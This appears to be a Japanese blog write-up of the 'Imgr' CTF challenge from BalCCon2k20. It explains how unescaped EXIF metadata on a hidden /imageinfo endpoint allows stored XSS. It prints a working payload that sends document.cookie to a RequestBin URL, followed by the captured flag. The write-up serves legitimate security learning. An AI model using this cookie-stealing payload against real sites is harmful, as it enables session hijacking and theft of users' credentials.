はまやんはまやんはまやん

hamayanhamayan's blog

Imgr [BalCCon2k20 CTF]

Imgr
theguy
Look at this nice new Social Media application. You can only view your own profile, since it is still in the very early development phase, but it is the up and coming social networking platform. P.S. If you see something strange, let developers know!

https://imgr.pwn.institute

調査

サインインして、ログインしてみる。
Report機能があるので、とりあえずrequest catcherで受けてみるか…
が、Only URLs from this site are allowed!と言われてしまう。
なので、https://imgr.pwn.institute/profileとしてみると、Your report will be reviewed shortly!と来る。

XSSできそうな所はないか?

入力が表示される所といえば、ユーザー名かProfile画像。
Profile画像はjpgなら受け付けた。適当に出した「違う、そうじゃない」がプロフィール画像になってしまった。

f:id:hamayanhamayan:20201001225842p:plain

Cookieを一応見てみる。
なるほどね。

まあ、ユーザー名はログインしていないと出ないから少し難しい。
だが、プロファイル画像はstaticに格納されて、かつ、ログアウト状態でも閲覧可能だ。
jpegXSSを仕込めないか。
無理では?

Writeup

ん?/imageinfo

HTML探索が足りてないぞ

/ソースコード<!-- todo: remove unused /imageinfo endpoint -->という記載がある…
/imageinfoへアクセスするとNo image id givenといわれる。
推測して色々試すと、/imageinfo/[id]で画像を表示できる。
/imageinfo/387998c3db0a41ffb1fdb9384850fdac
Metadataを表示するところがある。
ここか…

JPEGExif情報

適当にググって見つけたF6Exifというソフトでタグを埋め込んでみる。
アップロードして、JWT解析して、/imageinfoに通すと以下のように出る。

<h3>Metadata</h3>
<b>ExifVersion</b>: b'0210'<br>
<b>ComponentsConfiguration</b>: b'\x01\x02\x03\x00'<br>
<b>ExifImageWidth</b>: 800<br>
<b>ExifImageHeight</b>: 800<br>
<b>Make</b>: <b>ok?</b><br>
<b>XResolution</b>: (72, 1)<br>
<b>YResolution</b>: (72, 1)<br>
<b>ResolutionUnit</b>: 2<br>
<b>ExifOffset</b>: 136<br>
<b>Software</b>: F6 Exif Version 0.8.2<br>

たまたまメーカーに文字列を入れ込んだが、うまい事反映されているように見える。
ペイロードを仕込もう。

<img src=1 onerror="window.location.href='https://[RequestBinURL]?get='+document.cookie">をメーカーの所に入れる。
あとは、アップロードした画像のIDを付けて、/imageinfo/[id]をレポートすれば、フラグが得られる。
GET /test?get=flag=BCTF{n3v3r_pUbl15h_Unf1n15h3d_p4ge5}